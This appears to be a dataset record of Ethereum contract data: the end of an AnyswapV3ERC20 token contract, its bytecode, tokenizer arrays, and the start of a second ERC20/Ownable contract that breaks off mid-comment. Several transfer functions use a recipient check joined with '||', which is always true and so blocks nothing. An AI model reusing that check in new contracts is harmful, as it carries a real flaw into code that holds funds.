amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); balanceOf[account] -= amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token. /// Emits {Approval} event. /// Returns boolean value indicating whether operation succeeded. function approve(address spender, uint256 value) external override returns (bool) { // _approve(msg.sender, spender, value); allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token, /// after which a call is executed to an ERC677-compliant contract with the `data` parameter. /// Emits {Approval} event. /// Returns boolean value indicating whether operation succeeded. /// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677. function approveAndCall(address spender, uint256 value, bytes calldata data) external override returns (bool) { // _approve(msg.sender, spender, value); allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return IApprovalReceiver(spender).onTokenApproval(msg.sender, value, data); } /// @dev Sets `value` as allowance of `spender` account over `owner` account's AnyswapV3ERC20 token, given `owner` account's signed approval. /// Emits {Approval} event. /// Requirements: /// - `deadline` must be timestamp in future. /// - `v`, `r` and `s` must be valid `secp256k1` signature from `owner` account over EIP712-formatted function arguments. /// - the signature must use `owner` account's current nonce (see {nonces}). /// - the signer cannot be zero address and must be `owner` account. /// For more information on signature format, see https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP section]. /// AnyswapV3ERC20 token implementation adapted from https://github.com/albertocuestacanada/ERC20Permit/blob/master/contracts/ERC20Permit.sol. function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override { require(block.timestamp <= deadline, "AnyswapV3ERC20: Expired permit"); bytes32 hashStruct = keccak256( abi.encode( PERMIT_TYPEHASH, target, spender, value, nonces[target]++, deadline)); require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s)); // _approve(owner, spender, value); allowance[target][spender] = value; emit Approval(target, spender, value); } function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override returns (bool) { require(block.timestamp <= deadline, "AnyswapV3ERC20: Expired permit"); bytes32 hashStruct = keccak256( abi.encode( TRANSFER_TYPEHASH, target, to, value, nonces[target]++, deadline)); require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s)); require(to != address(0) || to != address(this)); uint256 balance = balanceOf[target]; require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance"); balanceOf[target] = balance - value; balanceOf[to] += value; emit Transfer(target, to, value); return true; } function verifyEIP712(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) { bytes32 hash = keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR, hashStruct)); address signer = ecrecover(hash, v, r, s); return (signer != address(0) && signer == target); } function verifyPersonalSign(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) { bytes32 hash = keccak256( abi.encodePacked( "\x19Ethereum Signed Message:\n32", DOMAIN_SEPARATOR, hashStruct)); address signer = ecrecover(hash, v, r, s); return (signer != address(0) && signer == target); } /// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`). /// A transfer to `address(0)` triggers an ETH withdraw matching the sent AnyswapV3ERC20 token in favor of caller. /// Emits {Transfer} event. /// Returns boolean value indicating whether operation succeeded. /// Requirements: /// - caller account must have at least `value` AnyswapV3ERC20 token. function transfer(address to, uint256 value) external override returns (bool) { require(to != address(0) || to != address(this)); uint256 balance = balanceOf[msg.sender]; require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance"); balanceOf[msg.sender] = balance - value; balanceOf[to] += value; emit Transfer(msg.sender, to, value); return true; } /// @dev Moves `value` AnyswapV3ERC20 token from account (`from`) to account (`to`) using allowance mechanism. /// `value` is then deducted from caller account's allowance, unless set to `type(uint256).max`. /// A transfer to `address(0)` triggers an ETH withdraw matching the sent AnyswapV3ERC20 token in favor of caller. /// Emits {Approval} event to reflect reduced allowance `value` for caller account to spend from account (`from`), /// unless allowance is set to `type(uint256).max` /// Emits {Transfer} event. /// Returns boolean value indicating whether operation succeeded. /// Requirements: /// - `from` account must have at least `value` balance of AnyswapV3ERC20 token. /// - `from` account must have approved caller to spend at least `value` of AnyswapV3ERC20 token, unless `from` and caller are the same account. function transferFrom(address from, address to, uint256 value) external override returns (bool) { require(to != address(0) || to != address(this)); if (from != msg.sender) { // _decreaseAllowance(from, msg.sender, value); uint256 allowed = allowance[from][msg.sender]; if (allowed != type(uint256).max) { require(allowed >= value, "AnyswapV3ERC20: request exceeds allowance"); uint256 reduced = allowed - value; allowance[from][msg.sender] = reduced; emit Approval(from, msg.sender, reduced); } } uint256 balance = balanceOf[from]; require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance"); balanceOf[from] = balance - value; balanceOf[to] += value; emit Transfer(from, to, value); return true; } /// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`), /// after which a call is executed to an ERC677-compliant contract with the `data` parameter. /// A transfer to `address(0)` triggers an ETH withdraw matching the sent AnyswapV3ERC20 token in favor of caller. /// Emits {Transfer} event. /// Returns boolean value indicating whether operation succeeded. /// Requirements: /// - caller account must have at least `value` AnyswapV3ERC20 token. /// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677. function transferAndCall(address to, uint value, bytes calldata data) external override returns (bool) { require(to != address(0) || to != address(this)); uint256 balance = balanceOf[msg.sender]; require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance"); balanceOf[msg.sender] = balance - value; balanceOf[to] += value; emit Transfer(msg.sender, to, value); return ITransferReceiver(to).onTokenTransfer(msg.sender, value, data); } }
0x608060405234801561001057600080fd5b50600436106102b85760003560e01c806370a0823111610182578063bebbf4d0116100e9578063d505accf116100a2578063ec126c771161007c578063ec126c77146106a2578063f75c2664146106b5578063fbfa77cf146106bd578063fca3b5aa146106d057600080fd5b8063d505accf1461065c578063d93f24451461066f578063dd62ed3e1461067757600080fd5b8063bebbf4d0146105ff578063c308124014610612578063c4b740f51461061b578063cae9ca511461062e578063cfbd488514610641578063d0e30db01461065457600080fd5b806395d89b411161013b57806395d89b41146105865780639dc29fac1461058e578063a045442c146105a1578063a9059cbb146105b6578063aa271e1a146105c9578063b6b55f25146105ec57600080fd5b806370a082311461050f5780637ecebe001461052f5780638623ec7b1461054f57806387689e28146105625780638da5cb5b1461056b57806391c5df491461057357600080fd5b80633644e5151161022657806360e232a9116101df57806360e232a914610493578063628d6cba146104a65780636817031b146104b95780636a42b8f8146104cc5780636e553f65146104d55780636f307dc3146104e857600080fd5b80633644e515146104005780633ccfd60b146104275780634000aea01461042f57806340c10f191461044257806352113ba714610455578063605629d61461048057600080fd5b806318160ddd1161027857806318160ddd1461035f57806323b872dd146103675780632e1a7d4d1461037a5780632ebe3fbb1461038d57806330adf81f146103a0578063313ce567146103c757600080fd5b806239d6ec146102bd578062bf26f4146102e3578062f714ce1461030a57806306fdde031461031d578063095ea7b3146103325780630d707df814610355575b600080fd5b6102d06102cb366004611fb1565b6106e3565b6040519081526020015b60405180910390f35b6102d07f42ce63790c28229c123925d83266e77c04d28784552ab68b350a9003226cbd5981565b6102d0610318366004611fed565b610739565b61032561074d565b6040516102da9190612045565b610345610340366004612078565b6107db565b60405190151581526020016102da565b61035d610835565b005b6003546102d0565b6103456103753660046120a2565b6108f1565b6102d06103883660046120de565b610adc565b61035d61039b3660046120f7565b610aef565b6102d07f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b6103ee7f000000000000000000000000000000000000000000000000000000000000000481565b60405160ff90911681526020016102da565b6102d07fe58997cda594e1541594beb59a7e8b6aaafc7e3a501a53b633ef35b6a06e591c81565b6102d0610bc6565b61034561043d366004612112565b610be7565b610345610450366004612078565b610d31565b600b54610468906001600160a01b031681565b6040516001600160a01b0390911681526020016102da565b61034561048e366004612199565b610d73565b6103456104a13660046120f7565b610f83565b6103456104b4366004611fed565b611044565b61035d6104c73660046120f7565b61110c565b6102d060055481565b6102d06104e3366004611fed565b611198565b6104687f000000000000000000000000f3db5fa2c66b7af3eb0c0b782510816cbe4813b881565b6102d061051d3660046120f7565b60026020526000908152604090205481565b6102d061053d3660046120f7565b600d6020526000908152604090205481565b61046861055d3660046120de565b6111d9565b6102d0600c5481565b610468611203565b600954610468906001600160a01b031681565b61032561120d565b61034561059c366004612078565b61121a565b6105a9611279565b6040516102da919061220c565b6103456105c4366004612078565b6112db565b6103456105d73660046120f7565b60066020526000908152604090205460ff1681565b6102d06105fa3660046120de565b6113b1565b6102d061060d366004611fed565b6113f2565b6102d0600a5481565b61035d61062936600461226a565b61142c565b61034561063c366004612112565b61147e565b61035d61064f3660046120f7565b61154b565b6102d06115a4565b61035d61066a366004612199565b611678565b61035d6117e6565b6102d0610685366004612287565b600e60209081526000928352604080842090915290825290205481565b6103456106b03660046122b1565b611851565b6104686118c6565b600854610468906001600160a01b031681565b61035d6106de3660046120f7565b6118f1565b60006106ed6118c6565b6001600160a01b0316336001600160a01b0316146107265760405162461bcd60e51b815260040161071d906122d6565b60405180910390fd5b61073184848461197d565b949350505050565b600061074633848461197d565b9392505050565b6000805461075a9061230d565b80601f01602080910402602001604051908101604052809291908181526020018280546107869061230d565b80156107d35780601f106107a8576101008083540402835291602001916107d3565b820191906000526020600020905b8154815290600101906020018083116107b657829003601f168201915b505050505081565b336000818152600e602090815260408083206001600160a01b03871680855292528083208590555191929091600080516020612520833981519152906108249086815260200190565b60405180910390a350600192915050565b61083d6118c6565b6001600160a01b0316336001600160a01b03161461086d5760405162461bcd60e51b815260040161071d906122d6565b600a5442101561087c57600080fd5b600980546001600160a01b039081166000908152600660205260408120805460ff1916600190811790915592546007805494850181559091527fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c68890920180546001600160a01b03191692909116919091179055565b60006001600160a01b03831615158061091357506001600160a01b0383163014155b61091c57600080fd5b6001600160a01b0384163314610a16576001600160a01b0384166000908152600e602090815260408083203384529091529020546000198114610a1457828110156109bb5760405162461bcd60e51b815260206004820152602960248201527f416e7973776170563345524332303a2072657175657374206578636565647320604482015268616c6c6f77616e636560b81b606482015260840161071d565b60006109c7848361235e565b6001600160a01b0387166000818152600e602090815260408083203380855290835292819020859055518481529394509092600080516020612520833981519152910160405180910390a3505b505b6001600160a01b03841660009081526002602052604090205482811015610a4f5760405162461bcd60e51b815260040161071d90612375565b610a59838261235e565b6001600160a01b038087166000908152600260205260408082209390935590861681529081208054859290610a8f9084906123c4565b92505081905550836001600160a01b0316856001600160a01b031660008051602061250083398151915285604051610ac991815260200190565b60405180910390a3506001949350505050565b6000610ae933833361197d565b92915050565b610af76118c6565b6001600160a01b0316336001600160a01b031614610b275760405162461bcd60e51b815260040161071d906122d6565b60045460ff16610b3657600080fd5b600880546001600160a01b039092166001600160a01b03199283168117909155600b80548316821790556000818152600660205260408120805460ff1990811660019081179092556007805492830181559092527fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c68801805490931690911790915542600c55600480549091169055565b336000818152600260205260408120549091610be2918161197d565b905090565b60006001600160a01b038516151580610c0957506001600160a01b0385163014155b610c1257600080fd5b3360009081526002602052604090205484811015610c425760405162461bcd60e51b815260040161071d90612375565b610c4c858261235e565b33600090815260026020526040808220929092556001600160a01b03881681529081208054879290610c7f9084906123c4565b90915550506040518581526001600160a01b0387169033906000805160206125008339815191529060200160405180910390a3604051635260769b60e11b81526001600160a01b0387169063a4c0ed3690610ce49033908990899089906004016123dc565b6020604051808303816000875af1158015610d03573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d279190612424565b9695505050505050565b3360009081526006602052604081205460ff16610d605760405162461bcd60e51b815260040161071d90612441565b610d6a83836119c5565b50600192915050565b600084421115610dc55760405162461bcd60e51b815260206004820152601e60248201527f416e7973776170563345524332303a2045787069726564207065726d69740000604482015260640161071d565b6001600160a01b0388166000908152600d6020526040812080547f42ce63790c28229c123925d83266e77c04d28784552ab68b350a9003226cbd59918b918b918b919086610e1283612478565b909155506040805160208101969096526001600160a01b0394851690860152929091166060840152608083015260a082015260c0810187905260e001604051602081830303815290604052805190602001209050610e738982878787611a93565b80610e865750610e868982878787611b84565b610e8f57600080fd5b6001600160a01b038816151580610eaf57506001600160a01b0388163014155b610eb857600080fd5b6001600160a01b03891660009081526002602052604090205487811015610ef15760405162461bcd60e51b815260040161071d90612375565b610efb888261235e565b6001600160a01b03808c1660009081526002602052604080822093909355908b16815290812080548a9290610f319084906123c4565b92505081905550886001600160a01b03168a6001600160a01b03166000805160206125008339815191528a604051610f6b91815260200190565b60405180910390a35060019998505050505050505050565b6000610f8d6118c6565b6001600160a01b0316336001600160a01b031614610fbd5760405162461bcd60e51b815260040161071d906122d6565b6001600160a01b038216610fe35760405162461bcd60e51b815260040161071d90612493565b600880546001600160a01b0384166001600160a01b03199182168117909255600b80549091168217905560405142919081907f5c364079e7102c27c608f9b237c735a1b7bfa0b67f27c2ad26bad447bf965cac90600090a45060015b919050565b600454600090610100900460ff161561109f5760405162461bcd60e51b815260206004820152601860248201527f416e7973776170563445524332303a206f6e6c79417574680000000000000000604482015260640161071d565b6001600160a01b0382166110c55760405162461bcd60e51b815260040161071d90612493565b6110cf3384611be7565b6040518381526001600160a01b0383169033907f6b616089d04950dc06c45c6dd787d657980543f89651aec47924752c7d16c88890602001610824565b6111146118c6565b6001600160a01b0316336001600160a01b0316146111445760405162461bcd60e51b815260040161071d906122d6565b6001600160a01b03811661116a5760405162461bcd60e51b815260040161071d90612493565b600b80546001600160a01b0319166001600160a01b03831617905560055461119290426123c4565b600c5550565b60006111cf6001600160a01b037f000000000000000000000000f3db5fa2c66b7af3eb0c0b782510816cbe4813b816333086611cb9565b6107468383611d2a565b600781815481106111e957600080fd5b6000918252602090912001546001600160a01b0316905081565b6000610be26118c6565b6001805461075a9061230d565b3360009081526006602052604081205460ff166112495760405162461bcd60e51b815260040161071d90612441565b6001600160a01b03831661126f5760405162461bcd60e51b815260040161071d90612493565b610d6a8383611be7565b606060078054806020026020016040519081016040528092919081815260200182805480156112d157602002820191906000526020600020905b81546001600160a01b031681526001909101906020018083116112b3575b5050505050905090565b60006001600160a01b0383161515806112fd57506001600160a01b0383163014155b61130657600080fd5b33600090815260026020526040902054828110156113365760405162461bcd60e51b815260040161071d90612375565b611340838261235e565b33600090815260026020526040808220929092556001600160a01b038616815290812080548592906113739084906123c4565b90915550506040518381526001600160a01b038516903390600080516020612500833981519152906020015b60405180910390a35060019392505050565b60006113e86001600160a01b037f000000000000000000000000f3db5fa2c66b7af3eb0c0b782510816cbe4813b816333085611cb9565b610ae98233611d2a565b60006113fc6118c6565b6001600160a01b0316336001600160a01b0316146111cf5760405162461bcd60e51b815260040161071d906122d6565b6114346118c6565b6001600160a01b0316336001600160a01b0316146114645760405162461bcd60e51b815260040161071d906122d6565b600480549115156101000261ff0019909216919091179055565b336000818152600e602090815260408083206001600160a01b03891680855292528083208790555191929091600080516020612520833981519152906114c79088815260200190565b60405180910390a360405162ba451f60e01b81526001600160a01b0386169062ba451f906114ff9033908890889088906004016123dc565b6020604051808303816000875af115801561151e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115429190612424565b95945050505050565b6115536118c6565b6001600160a01b0316336001600160a01b0316146115835760405162461bcd60e51b815260040161071d906122d6565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6040516370a0823160e01b815233600482015260009081906001600160a01b037f000000000000000000000000f3db5fa2c66b7af3eb0c0b782510816cbe4813b816906370a0823190602401602060405180830381865afa15801561160d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061163191906124ca565b90506116686001600160a01b037f000000000000000000000000f3db5fa2c66b7af3eb0c0b782510816cbe4813b816333084611cb9565b6116728133611d2a565b91505090565b834211156116c85760405162461bcd60e51b815260206004820152601e60248201527f416e7973776170563345524332303a2045787069726564207065726d69740000604482015260640161071d565b6001600160a01b0387166000908152600d6020526040812080547f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9918a918a918a91908661171583612478565b909155506040805160208101969096526001600160a01b0394851690860152929091166060840152608083015260a082015260c0810186905260e0016040516020818303038152906040528051906020012090506117768882868686611a93565b8061178957506117898882868686611b84565b61179257600080fd5b6001600160a01b038881166000818152600e60209081526040808320948c16808452948252918290208a90559051898152600080516020612520833981519152910160405180910390a35050505050505050565b6117ee6118c6565b6001600160a01b0316336001600160a01b03161461181e5760405162461bcd60e51b815260040161071d906122d6565b600c5442101561182d57600080fd5b600b54600880546001600160a01b0319166001600160a01b03909216919091179055565b3360009081526006602052604081205460ff166118805760405162461bcd60e51b815260040161071d90612441565b61188a83836119c5565b826001600160a01b0316847f05d0634fe981be85c22e2942a880821b70095d84e152c3ea3c17a4e4250d9d618460405161139f91815260200190565b6000600c5442106118e15750600b546001600160a01b031690565b506008546001600160a01b031690565b6118f96118c6565b6001600160a01b0316336001600160a01b0316146119295760405162461bcd60e51b815260040161071d906122d6565b6001600160a01b03811661194f5760405162461bcd60e51b815260040161071d90612493565b600980546001600160a01b0319166001600160a01b03831617905560055461197790426123c4565b600a5550565b60006119898484611be7565b6119bd6001600160a01b037f000000000000000000000000f3db5fa2c66b7af3eb0c0b782510816cbe4813b8168385611da7565b509092915050565b6001600160a01b038216611a1b5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640161071d565b8060036000828254611a2d91906123c4565b90915550506001600160a01b03821660009081526002602052604081208054839290611a5a9084906123c4565b90915550506040518181526001600160a01b03831690600090600080516020612500833981519152906020015b60405180910390a35050565b60405161190160f01b60208201527fe58997cda594e1541594beb59a7e8b6aaafc7e3a501a53b633ef35b6a06e591c60228201526042810185905260009081906062015b60408051601f198184030181528282528051602091820120600080855291840180845281905260ff89169284019290925260608301879052608083018690529092509060019060a0016020604051602081039080840390855afa158015611b42573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811615801590611b785750876001600160a01b0316816001600160a01b0316145b98975050505050505050565b6040517f19457468657265756d205369676e6564204d6573736167653a0a33320000000060208201527fe58997cda594e1541594beb59a7e8b6aaafc7e3a501a53b633ef35b6a06e591c603c820152605c81018590526000908190607c01611ad7565b6001600160a01b038216611c475760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b606482015260840161071d565b6001600160a01b03821660009081526002602052604081208054839290611c6f90849061235e565b925050819055508060036000828254611c88919061235e565b90915550506040518181526000906001600160a01b0384169060008051602061250083398151915290602001611a87565b6040516001600160a01b0380851660248301528316604482015260648101829052611d249085906323b872dd60e01b906084015b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152611ddc565b50505050565b60007f000000000000000000000000f3db5fa2c66b7af3eb0c0b782510816cbe4813b86001600160a01b031615801590611d8d57507f000000000000000000000000f3db5fa2c66b7af3eb0c0b782510816cbe4813b86001600160a01b03163014155b611d9657600080fd5b611da082846119c5565b5090919050565b6040516001600160a01b038316602482015260448101829052611dd790849063a9059cbb60e01b90606401611ced565b505050565b611dee826001600160a01b0316611f63565b611e3a5760405162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015260640161071d565b600080836001600160a01b031683604051611e5591906124e3565b6000604051808303816000865af19150503d8060008114611e92576040519150601f19603f3d011682016040523d82523d6000602084013e611e97565b606091505b509150915081611ee95760405162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015260640161071d565b805115611d245780806020019051810190611f049190612424565b611d245760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b606482015260840161071d565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081158015906107315750141592915050565b80356001600160a01b038116811461103f57600080fd5b600080600060608486031215611fc657600080fd5b611fcf84611f9a565b925060208401359150611fe460408501611f9a565b90509250925092565b6000806040838503121561200057600080fd5b8235915061201060208401611f9a565b90509250929050565b60005b8381101561203457818101518382015260200161201c565b83811115611d245750506000910152565b6020815260008251806020840152612064816040850160208701612019565b601f01601f19169190910160400192915050565b6000806040838503121561208b57600080fd5b61209483611f9a565b946020939093013593505050565b6000806000606084860312156120b757600080fd5b6120c084611f9a565b92506120ce60208501611f9a565b9150604084013590509250925092565b6000602082840312156120f057600080fd5b5035919050565b60006020828403121561210957600080fd5b61074682611f9a565b6000806000806060858703121561212857600080fd5b61213185611f9a565b935060208501359250604085013567ffffffffffffffff8082111561215557600080fd5b818701915087601f83011261216957600080fd5b81358181111561217857600080fd5b88602082850101111561218a57600080fd5b95989497505060200194505050565b600080600080600080600060e0888a0312156121b457600080fd5b6121bd88611f9a565b96506121cb60208901611f9a565b95506040880135945060608801359350608088013560ff811681146121ef57600080fd5b9699959850939692959460a0840135945060c09093013592915050565b6020808252825182820181905260009190848201906040850190845b8181101561224d5783516001600160a01b031683529284019291840191600101612228565b50909695505050505050565b801515811461226757600080fd5b50565b60006020828403121561227c57600080fd5b813561074681612259565b6000806040838503121561229a57600080fd5b6122a383611f9a565b915061201060208401611f9a565b6000806000606084860312156122c657600080fd5b833592506120ce60208501611f9a565b60208082526019908201527f416e7973776170563345524332303a20464f5242494444454e00000000000000604082015260600190565b600181811c9082168061232157607f821691505b6020821081141561234257634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60008282101561237057612370612348565b500390565b6020808252602f908201527f416e7973776170563345524332303a207472616e7366657220616d6f756e742060408201526e657863656564732062616c616e636560881b606082015260800190565b600082198211156123d7576123d7612348565b500190565b6001600160a01b0385168152602081018490526060604082018190528101829052818360808301376000818301608090810191909152601f909201601f191601019392505050565b60006020828403121561243657600080fd5b815161074681612259565b60208082526019908201527f416e7973776170563445524332303a20464f5242494444454e00000000000000604082015260600190565b600060001982141561248c5761248c612348565b5060010190565b6020808252601c908201527f416e7973776170563345524332303a2061646472657373283078302900000000604082015260600190565b6000602082840312156124dc57600080fd5b5051919050565b600082516124f5818460208701612019565b919091019291505056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925a26469706673582212204db622a89335a7f516edf22bc6964bb0d3dae43db253408484323d804b982d4c64736f6c634300080a0033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2629, 14141, 28154, 22022, 2509, 2050, 2620, 2683, 21619, 24434, 4783, 2487, 2278, 16703, 22407, 2692, 16086, 4402, 2575, 10354, 29292, 2575, 2546, 2692, 2581, 14142, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 4586, 6494, 3401, 1012, 22834, 2006, 16798, 2475, 1011, 6185, 1011, 2340, 1008, 1013, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 4586, 6494, 3401, 1012, 22834, 2006, 16798, 2475, 1011, 6185, 1011, 2340, 1008, 1013, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 4586, 6494, 3401, 1012, 22834, 2006, 16798, 2475, 1011, 6185, 1011, 2184, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 14246, 2140, 1011, 1017, 1012, 1014, 1011, 2030, 1011, 2101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,876
0x95DDEF2EfC7e15e1A7D517bB709443Cc4e4517B8
pragma solidity ^0.5.0; library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = msg.sender; _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract Pausable is Ownable { event Paused(address account); event Unpaused(address account); bool private _paused; constructor () internal { _paused = false; } /** * @return true if the contract is paused, false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!_paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(_paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyOwner whenNotPaused { _paused = true; emit Paused(msg.sender); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyOwner whenPaused { _paused = false; emit Unpaused(msg.sender); } } interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) internal _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * 